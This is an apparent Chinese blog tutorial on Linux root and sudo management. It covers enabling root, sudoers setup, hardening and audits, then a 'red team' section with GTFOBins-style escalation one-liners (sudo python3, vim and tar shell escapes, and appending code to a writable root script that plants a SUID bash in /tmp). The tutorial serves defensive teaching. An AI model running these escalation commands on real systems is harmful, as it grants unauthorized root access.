当前位置: 首页 > news >正文

Linux 特权管理与安全——从启用 Root、Sudo 提权到禁用与防护的全景解析

一、前言

  • 为什么关注特权?
    Root(超级用户)拥有系统所有权限,一旦被滥用或入侵,后果不堪设想。
  • 运维与安全的平衡
    既需要日常运维中快速提权执行管理任务,又要避免过度开放特权带来的风险。
  • 攻防同源理念
    了解攻击者如何利用特权漏洞,更能指导我们完善防御。

二、Root 用户概述

  1. Root 的角色与权限

    • UID = 0 的超管账号,拥有对文件、进程、网络等绝对控制权。
    • 默认情况下可执行所有命令、访问所有路径、修改任何文件。
  2. 为何 Root 有时被禁用?

    • 发行版安全策略:Ubuntu、Debian 默认禁止 SSH 直连 Root。
    • 规范运维:鼓励通过 sudo 方式授予最小特权,减少误操作风险。

三、合法启用 Root 与 Sudo 提权

3.1 启用 Root 账号

  1. 设置或重置 Root 密码

    sudo passwd root
    # 依提示输入两次新密码,启用或更新 root 密码
    
  2. 切换到 Root

    su -         # 使用 root 密码登录
    # 或者
    sudo -i      # 若用户有 sudo 权限,也可无密码切换
    
  3. 允许 SSH 直连(慎用)
    编辑 /etc/ssh/sshd_config

    PermitRootLogin yes
    

    保存后重启 SSH 服务:

    sudo systemctl restart sshd
    

注意:在公有网络环境中开启 Root SSH 登录,极易成为暴力破解目标,生产环境不推荐。

3.2 授予或配置 Sudo 权限

  1. 将用户添加到 sudo(Debian/Ubuntu)或 wheel(CentOS/RHEL)组

    # Debian/Ubuntu
    sudo usermod -aG sudo alice# CentOS/RHEL
    sudo usermod -aG wheel alice
    
  2. 精细化 sudoers 配置
    使用 visudo 编辑 /etc/sudoers,避免语法错误:

    # 允许 alice 以任何身份运行所有命令,但需要输入密码
    alice ALL=(ALL) ALL# 允许 bob 运行指定命令且免密
    bob   ALL=(ALL) NOPASSWD: /usr/bin/systemctl, /usr/bin/journalctl
    
  3. 验证 sudo 权限

    sudo -l    # 列出当前用户可执行的 sudo 命令列表
    

四、非法提权手法与演示(红队视角)

在渗透测试或红队演练中,攻击者往往利用错误配置的 sudo 权限或可写脚本来提权。以下示例摘自 GTFOBins 常见套路。

4.1 利用可写脚本提权

假设 sudo 列表显示:

User pentester may run the following commands:(root) NOPASSWD: /usr/bin/python3 /opt/scripts/backup.py
  1. 利用 Python 交互式 shell

    sudo python3 -c 'import os; os.system("/bin/bash")'
    
  2. 在脚本旁植入恶意代码
    如果 /opt/scripts/backup.py 可写:

    echo 'import os; os.system("cp /bin/bash /tmp/rootshell; chmod +s /tmp/rootshell")' >> /opt/scripts/backup.py
    sudo /usr/bin/python3 /opt/scripts/backup.py
    /tmp/rootshell -p   # 提权 Shell
    

4.2 利用常见工具

  • vim

    sudo vim -c ':set shell=/bin/bash' -c 'shell'
    
  • tar

    sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
    

小结:只要 sudo 授权给任意可执行文件,且该文件或其依赖可被控制,就可能成为提权入口。

五、禁用与限制特权(蓝队视角)

5.1 禁用 Root SSH 登录

/etc/ssh/sshd_config 中设置:

PermitRootLogin no

然后重启 SSH:

sudo systemctl restart sshd

5.2 锁定或禁用 Root 密码

  • 锁定账户

    sudo passwd -l root   # 锁定密码,禁止登录
    
  • 禁用 Shell 登录
    修改 /etc/passwd 中 root 的 Shell:

    root:x:0:0:root:/root:/usr/sbin/nologin
    

5.3 精简 sudo 权限

  1. 移出 sudo/wheel 组

    sudo gpasswd -d alice sudo
    
  2. 审计 sudoers

    • 定期使用 sudo -l -U username 审查各用户可执行命令。
    • 避免使用 NOPASSWD: ALL,要尽量限定具体命令。

5.4 加固系统策略

  • 最小化安装:删除不必要的软件包,减少可被滥用的二进制。
  • 文件权限审计:确保 /etc/sudoers、脚本目录、敏感可执行文件权限最小化。
  • 日志监控:配置 auditd 或集中化日志,及时发现异常 sudo 或 su 操作。
  • MFA/2FA:对高危帐号(如 sudo 组用户)开启二次认证。

六、实战演练:从发现到加固

  1. 列出可提权命令

    for user in $(cut -d: -f1 /etc/passwd); dosudo -l -U $user 2>/dev/null | grep -v "(ALL)" && echo ">> $user"
    done
    
  2. 检测可写脚本与 SUID

    find / -type f -perm -4000 -o -writable -user root 2>/dev/null
    
  3. 修复与加固

    • 收回非必要 SUID 位:chmod u-s /path/to/binary
    • 修正脚本权限:chmod 700 /opt/scripts/backup.py
    • 更新 sudoers:移除多余授权

七、总结与最佳实践

场景建议做法
开发/测试可根据需求临时启用 Root 或 NOPASSWD,测试完及时恢复
生产运维坚持最小特权原则,日常使用 sudo,禁止 Root 直连 SSH
安全加固对 sudo 权限、SUID/SGID、可写脚本做常规审计;开启日志监控
  1. 授予特权要有边界:遵循最小权限原则,明确命令白名单。
  2. 监控与审计并重:持续检测变更与使用行为,结合 SIEM/auditd 实现溯源。
  3. 定期复查与演练:模拟红队攻击,验证防御有效性,及时修补。

通过本文,你应已掌握从开启 Root/Sudo 提权红队攻击手法蓝队防御策略的完整流程。在实际运维与安全建设中,可根据业务需求和风险评估灵活配置,确保在便捷与安全之间取得最佳平衡。

延伸阅读

  • GTFOBins 特权命令利用集锦:https://gtfobins.github.io/
  • Linux Audit 审计实践:https://linux-audit.com/
  • Sudo 官方文档:https://www.sudo.ws/docs/

相关文章:

Linux 特权管理与安全——从启用 Root、Sudo 提权到禁用与防护的全景解析

一、前言 为什么关注特权? Root(超级用户)拥有系统所有权限,一旦被滥用或入侵,后果不堪设想。运维与安全的平衡 既需要日常运维中快速提权执行管理任务,又要避免过度开放特权带来的风险。攻防同源理念 了解…...

初识Linux · 数据链路层

目录 前言: 以太网帧协议 ARP协议 ARP协议理解 ARP协议字段 交换机 前言: 前文我们通过OSI模型,一直到TCP/IP四层模型,经过了三篇文章左右的功夫,我们把网络层介绍完毕,主要还是介绍的IP协议的iphdr…...

Linux探秘:驾驭开源,解锁高效能——基础指令

♥♥♥~~~~~~欢迎光临知星小度博客空间~~~~~~♥♥♥ ♥♥♥零星地变得优秀~也能拼凑出星河~♥♥♥ ♥♥♥我们一起努力成为更好的自己~♥♥♥ ♥♥♥如果这一篇博客对你有帮助~别忘了点赞分享哦~♥♥♥ ♥♥♥如果有什么问题可以评论区留言或者私信我哦~♥♥♥ ✨✨✨✨✨✨ 个…...

【Linux】第二十二章 访问网络附加内存

1. NFS的主要功能是什么? NFS是由Linux、UNIX及类似操作系统使用的互联网标准协议,主要功能就是提供网络文件共享,允许不同的计算机系统之间通过网络共享文件,它使得网络上的计算机能够像访问本地文件系统一样访问远程计算机上的…...

Revit BIM 模型批量转换为 Datasmith 格式教程

Revit BIM 模型批量转换为 Datasmith 格式教程 一、背景与痛点 在建筑信息模型(BIM)与游戏开发的协同工作中,常需将 Revit 模型导入虚幻引擎(UE)。虽然 Revit 的 Datasmith 插件可实现单文件转换,但面对成百上千个模型时,手动操作效率极低。本文将分享如何开发一个自动…...

Linux 磁盘扩容实战案例:从问题发现到完美解决

Linux 磁盘扩容实战案例:从问题发现到完美解决 案例背景 某企业服务器根目录 (/) 空间不足,运维人员通过 df -h 发现 /dev/vda1 分区已 100% 占满(99G 已用)。检查发现物理磁盘 /dev/vda 已扩展至 200G,但分区和文件…...

Linux 系统不终止进程的情况下关闭长连接

使用 tcpkill 中断指定 TCP 连接 适用场景:需主动中断已知源IP或目标端口的连接,无需进程重启。 安装 dsniff 工具(包含 tcpkill): yum -y install dsniff 捕获并杀死特定连接(例如目标IP 192.168.1.10…...

从零开始创建React项目及制作页面

一、React 介绍 React 是一个由 Meta(原Facebook) 开发和维护的 开源JavaScript库,主要用于构建用户界面(User Interface, UI)。它是前端开发中最流行的工具之一,广泛应用于单页应用程序(SPA&a…...

Unity-编辑器扩展

之前我们关于Unity的讨论都是针对于Unity底层的内容或者是代码层面的东西,这一次我们来专门研究Unity可视化的编辑器,在已有的基础上做一些扩展。 基本功能 首先我们来认识三个文件夹: Editor,Gizmos,Editor Defaul…...

系分论文《论遗产系统演化》

系统分析师论文范文系列 摘要 2022年6月,某金融机构启动核心业务系统的技术升级项目,旨在对其运行超过十年的遗留系统进行演化改造。该系统承担着账户管理、支付结算等关键业务功能,但其技术架构陈旧、扩展性不足,难以适应数字化转型与业务快速增长的需求。作为系统分析师,…...

Django基础(二)Django 项目基础操作

一、实验目标 熟悉 Django 基本命令 理解 Django 项目和应用的目录结构 掌握项目初始化、应用创建与注册、项目启动、视图函数编写、路由配置、数据库配置等基础操作 二、Django 项目初始化 进入虚拟环境 source venv/bin/activate创建 Django 项目 django-admin startproje…...

【图像大模型】Stable Video Diffusion:基于时空扩散模型的视频生成技术深度解析

Stable Video Diffusion:基于时空扩散模型的视频生成技术深度解析 一、架构设计与技术演进1.1 核心模型架构1.2 技术创新点1.2.1 运动预测网络1.2.2 层级式训练策略 二、系统架构解析2.1 完整生成流程2.2 性能指标对比 三、实战部署指南3.1 环境配置3.2 基础推理代码…...

【免杀】C2免杀技术(七)远程线程注入

远程线程注入(Remote Thread Injection)是一种常见的进程注入技术,经常用于红队渗透、恶意软件加载、持久化控制等场景中,尤其在免杀(AV/EDR bypass)应用领域中,是一种历史悠久但依然有效的手段…...

二、【环境搭建篇】:Django 和 Vue3 开发环境准备

【环境搭建篇】:Django 和 Vue3 开发环境准备 前言为什么我们需要特定的开发环境?准备工作第一步:搭建后端开发环境 (Python, Django, DRF)1. 安装 Python2. 创建和激活 Python 虚拟环境3. 在虚拟环境中安装 Django 和 DRF 第二步&#xff1a…...

【神经网络与深度学习】激活函数的可微可导

引言: 在深度学习领域,激活函数扮演着至关重要的角色。它不仅影响神经网络的非线性建模能力,还直接关系到梯度计算的稳定性。在优化过程中,我们通常要求激活函数具有良好的数学性质,其中可微性是一个关键条件。相比简单…...

【Tauri2】046—— tauri_plugin_clipboard_manager(一)

目录 前言 正文 安装 Rust中的使用 对文字的操作 看看write_text的函数签名 看看read_text的函数签名 对图像的操作 对html的操作 总结 前言 这篇就来看看clipboard这个插件。 参考如下 Clipboard | Taurihttps://tauri.app/plugin/clipboard/ 正文 安装 执行下…...

高效选课系统:一键管理你的课程表

选课流程 数据模型 我的课程表Controller Api(value "我的课程表接口", tags "我的课程表接口") Slf4j RestController public class MyCourseTablesController {Autowiredprivate MyCourseTablesService myCourseTablesService;ApiOperation("添加…...

Pytorch分布式训练,数据并行,单机多卡,多机多卡

分布式训练 所有代码可以见我github 仓库:https://github.com/xiejialong/ddp_learning.git 数据并行(Data Parallelism,DP) 跨多个gpu训练模型的最简单方法是使用 torch.nn.DataParallel. 在这种方法中,模型被复制…...

Secarmy Village: Grayhat Conference靶场

Secarmy Village: Grayhat Conference 来自 <Secarmy Village: Grayhat Conference ~ VulnHub> 1&#xff0c;将两台虚拟机网络连接都改为NAT模式 2&#xff0c;攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 那么攻击机IP为192.168.23.182&#xff0c;靶…...

centos 9 Kickstart + Ansible自动化部署 —— 筑梦之路

目标 利用 Kickstart 完成 centos 9 系统的全自动安装&#xff08;裸金属/虚拟机&#xff09;。 安装完成后自动接入 Ansible 进行软件包、服务、用户、配置等系统初始化操作。 实现一套通用、可重复、可维护的自动化交付流程。 KS文件 # ks.cfg 示例 install lang zh_CN.…...

HarmonyOS应用开发入门宝典——项目驱动学习法实践

学习一项新技能&#xff0c;最好也是最快的方法就是动手实战。学习鸿蒙也一样&#xff0c;给自己定一个小目标&#xff0c;直接找项目练&#xff0c;这样进步是最快的。记住&#xff0c;最好的学习时机永远是现在&#xff0c;最好的老师永远是你正在开发的项目。 一、为什么选择…...

Python类的力量:第六篇:设计模式——Python面向对象编程的“架构蓝图”

文章目录 前言&#xff1a;从“代码堆砌”到“模式复用”的思维跃迁 一、创建型模式&#xff1a;对象创建的“智能工厂”1. 单例模式&#xff08;Singleton&#xff09;&#xff1a;全局唯一的“资源管家”2. 工厂模式&#xff08;Factory&#xff09;&#xff1a;对象创建的“…...

第50天-使用Python+Qt+DeepSeek开发AI运势测算

1. 环境准备 bash 复制 下载 pip install pyside6 requests python-dotenv 2. 获取DeepSeek API密钥 访问DeepSeek官网注册账号 进入控制台创建API密钥 在项目根目录创建.env文件: env 复制 下载 DEEPSEEK_API_KEY=your_api_key_here 3. 创建主应用框架 python 复制…...

CentOS系统上挂载磁盘

在CentOS系统上挂载磁盘&#xff0c;主要包括查看磁盘设备、分区&#xff08;若需要&#xff09;、格式化、创建挂载点和挂载等步骤&#xff0c;以下是详细操作&#xff1a; 1. 查看磁盘设备 使用fdisk -l或lsblk命令查看系统识别到的磁盘设备。 fdisk -l&#xff1a;列出所…...

(一) 本地hadoop虚拟机系统设置

1.配置固定IP地址&#xff08;每一台都配置&#xff09; 开启node1&#xff0c;修改主机名为node1&#xff0c;并修改固定IP为&#xff1a;192.168.88.131 # 修改主机名 hostnamectl set-hostname node1# 修改IP vim /etc/sysconfig/network-scripts/ifcfg-ens33 IPADDR"…...

亿级核心表如何优雅扩展字段

1 导语 亿级数据的核心表新增一个字段&#xff0c;远不止一句简单的“ALTER TABLE”&#xff0c;锁表风险、页分裂、索引性能衰减……每一个问题都可能引发线上事故。如何在不影响业务的前提下&#xff0c;只需简单的配置&#xff0c;即可实现字段的动态扩展&#xff1f;本文将…...

单端传输通道也会有奇偶模现象喔

奇模&#xff08;Odd mode&#xff09;与偶模&#xff08;Even mode&#xff09;对差动对是很关键的要素&#xff0c;其会影响奇/偶模阻抗与相位速度&#xff0c;设计不良甚会让共模噪声引入整个差动对使讯号质量下降。 然而对单端信号系统而言呢&#xff1f; 如果说一对side b…...

VUE3 中的 ResizeObserver 警告彻底解决方案

问题背景 今天在使用 Vue 3 Ant Design Vue 开发后台管理系统时&#xff0c;在页面频繁触发 元素尺寸变化&#xff08;如表格滚动、窗口缩放&#xff09; 的时候&#xff0c;控制台频繁出现如下警告&#xff1a; ResizeObserver loop completed with undelivered notificati…...

IDEA2025版本使用Big Data Tools连接Linux上Hadoop的HDFS

目录 Windows的准备 1. 将与Linux上版本相同的hadoop压缩包解压到本地 ​编辑2.设置$HADOOP HOME环境变量指向:E:\hadoop-3.3.4 3.下载hadoop.dll和winutils.exe文件 4.将hadoop.dll和winutils.exe放入$HADOOP HOME/bin中 IDEA中操作 1.下载Big Data Tools插件 2.添加并连…...

Gas优化利器:Merkle 树如何助力链上数据效率革命

目录 前言原理Merkle树示意图实战演示:构建 Merkle 树并在合约中验证离线构建 Merkle 树(手动计算Merkle树、生成mermaid示意图)编写Merkle.js脚本执行Merkle.js脚本执行结果展示mermaid流程图展示离线构建 Merkle 树(merkletreejs计算Merkle树、验证哈希路径)编写Merkle.…...

R语言空间分析实战:地理加权回归联合主成份与判别分析破解空间异质性难题

在自然和社会科学领域有大量与地理或空间有关的数据&#xff0c;这一类数据一般具有严重的空间异质性&#xff0c;而通常的统计学方法并不能处理空间异质性&#xff0c;因而对此类型的数据无能为力。以地理加权回归为基础的一系列方法&#xff1a;经典地理加权回归&#xff0c;…...

kafka入门(二)

Java客户端访问Kafka 引入maven依赖 <dependency> <groupId>org.apache.kafka</groupId> <artifactId>kafka‐clients</artifactId> <version>2.4.1</version> </dependency> 消息发送端代码 package com.tuling.kafka.ka…...

学习日记-day11-5.20

完成目标&#xff1a; comment.java package com.zcr.pojo; import org.hibernate.annotations.GenericGenerator;import javax.persistence.*; //JPA操作表中数据&#xff0c;可以将对应的实体类映射到一张表上Entity(name "t_comment")//表示当前的实体类与哪张表…...

手淘不易被清洗销量的4个成交入口

在淘宝运营中&#xff0c;销量是店铺权重的重要指标之一&#xff0c;但平台对虚假交易的打击力度越来越大&#xff0c;许多商家因销量被清洗而损失惨重。那么&#xff0c;通过什么样的手淘成交入口稳定不易清洗呢&#xff1f;经过实测&#xff0c;我们总结了以下手淘4个不易被清…...

【Linux】Linux 多线程

目录 1. Linux线程概念2. 重谈进程地址空间---页表2.1 如何由虚拟地址转化为物理地址的 3. pthread库调用接口3.1 线程的创建---pthread_create3.2 线程等待---pthread_join3.3 线程的退出3.4 分离线程 4. 线程库5. 线程ID6. Linux线程互斥6.1 锁6.2 锁的接口6.2.1 互斥量的初始…...

DAY31

知识点回顾 规范的文件命名规范的文件夹管理机器学习项目的拆分编码格式和类型注解 作业&#xff1a;尝试针对之前的心脏病项目&#xff0c;准备拆分的项目文件&#xff0c;思考下哪些部分可以未来复用。 浙大疏锦行...

大模型应用开发“扫盲”——基于市场某款智能问数产品的技术架构进行解析与学习

本文将从一款问数产品相关技术架构&#xff0c;针对大模型应用开发中的基础知识进行“扫盲”式科普&#xff0c;文章比较适合新手小白&#xff0c;属于是我的学习笔记整理&#xff0c;大佬可以划走啦~产品关键信息已经进行模糊处理&#xff0c;如有侵权请联系删除。 文章目录 前…...

List优雅分组

一、前言 最近小永哥发现&#xff0c;在开发过程中&#xff0c;经常会遇到需要对list进行分组&#xff0c;就是假如有一个RecordTest对象集合&#xff0c;RecordTest对象都有一个type的属性&#xff0c;需要将这个集合按type属性进行分组&#xff0c;转换为一个以type为key&…...

打破建筑与制造数据壁垒:Revit 到 STP 格式转换全攻略(含插件应用 + 迪威模型实战)

引言 在建筑信息模型&#xff08;BIM&#xff09;与计算机辅助设计&#xff08;CAD&#xff09;领域&#xff0c;数据在不同软件和系统间的高效流转至关重要。Revit 作为 BIM 技术应用的主流软件&#xff0c;常用于建筑设计、施工和运维管理&#xff1b;而 STP&#xff08;STE…...

RISC-V 开发板 MUSE Pi Pro USB 测试(3.0 U盘,2.0 UVC摄像头)

视频讲解&#xff1a; RISC-V 开发板 MUSE Pi Pro USB 测试&#xff08;3.0 U盘&#xff0c;2.0 UVC摄像头&#xff09; 总共开发板有4个USB的A口&#xff0c;1个USB的TypeC口&#xff0c;我们插上两个USB3.0的U盘和一个USB2.0的UVC摄像头来进行测试 lsusb -tv 可以看到有3个US…...

驱动相关基础

一、驱动分类与区别 字符设备驱动 一个字节一个字节进行读写操作的设备&#xff0c;以字符流的形式进行数据传输&#xff08;如鼠标、键盘、串口&#xff09;。 块设备驱动 以块为单位进行读写操作的设备&#xff0c;块的大小通常为 512 字节、1024 字节。 块设备驱动主…...

【node.js】核心进阶

个人主页&#xff1a;Guiat 归属专栏&#xff1a;node.js 文章目录 1. Node.js高级异步编程1.1 Promise深入理解1.1.1 创建和使用Promise1.1.2 Promise组合模式 1.2 Async/Await高级模式1.2.1 基本使用1.2.2 并行执行1.2.3 顺序执行与错误处理 1.3 事件循环高级概念1.3.1 事件循…...

高频Java面试题深度拆解:String/StringBuilder/StringBuffer三剑客对决(万字长文预警)

文章目录 一、这道题的隐藏考点你Get到了吗&#xff1f;二、内存模型里的暗战&#xff08;图解警告&#xff09;2.1 String的不可变性之谜2.2 可变双雄的内存游戏 三、线程安全背后的修罗场3.1 StringBuffer的同步真相3.2 StringBuilder的裸奔哲学 四、性能对决&#xff1a;用数…...

量子计算的曙光:从理论奇点到 IT 世界的颠覆力量

在信息技术&#xff08;IT&#xff09;的飞速发展中&#xff0c;一项前沿技术正以耀眼的光芒照亮未来——量子计算&#xff08;Quantum Computing&#xff09;。2025 年&#xff0c;随着量子硬件的突破、算法的优化以及企业对超算能力的渴求&#xff0c;量子计算从科幻梦想逐步…...

c++使用protocol buffers

在 C 里使用 Protocol Buffer&#xff0c;要先定义消息结构&#xff0c;接着生成 C 代码&#xff0c;最后在程序里使用这些生成的代码。 定义消息结构 首先要创建一个.proto文件&#xff0c;在其中定义消息类型和字段。 // person.proto syntax "proto3"; // 指…...

AI驱动发展——高能受邀参加华为2025广东新质生产力创新峰会

当AI浪潮席卷全球产业版图&#xff0c;一场以"智变"驱动"质变"的变革正在发生。5月15日&#xff0c;华为中国行2025广东新质生产力创新峰会璀璨启幕&#xff0c;作为华为生态战略合作伙伴&#xff0c;高能计算机与行业领军者同台论道&#xff0c;共同解码A…...

怎样解决photoshop闪退问题

检查系统资源&#xff1a;在启动 Photoshop 之前&#xff0c;打开任务管理器检查 CPU 和内存的使用情况。如果发现资源占用过高&#xff0c;尝试关闭不必要的程序或重启计算机以释放资源。更新 Photoshop 版本&#xff1a;确保 Photoshop 是最新版本。Adobe 经常发布更新以修复…...

AWS CodePipeline+ Elastic Beanstalk(AWS中国云CI/CD)

问题 最近需要利用AWS云上面的CI/CD部署Spring应用。 一图胜千言 步骤 打开CodePipeline网页&#xff0c;开始管道创建&#xff0c;如下图&#xff1a; 管道设置&#xff0c;如下图&#xff1a; 这里主要设置管道名称&#xff0c;至于服务角色&#xff0c;直接让codepipel…...

人工智能核心知识:AI Agent 的四种关键设计模式

人工智能核心知识&#xff1a;AI Agent 的四种关键设计模式 一、引言 在人工智能领域&#xff0c;AI Agent&#xff08;人工智能代理&#xff09;是实现智能行为和决策的核心实体。它能够感知环境、做出决策并采取行动以完成特定任务。为了设计高效、灵活且适应性强的 AI Age…...

Electron+vite+vue3 从0到1搭建项目,开发Win、Mac客户端

随着前端技术的发展&#xff0c;出现了所谓的大前端。 大前端则是指基于前端技术延伸出来的各种终端平台及应用场景&#xff0c;包括APP、桌面端、手表终端、服务端等。 本篇文章主要是和大家一起学习一下使用Electron 如何打包出 Windows 和 Mac 所使用的客户端APP&#xff…...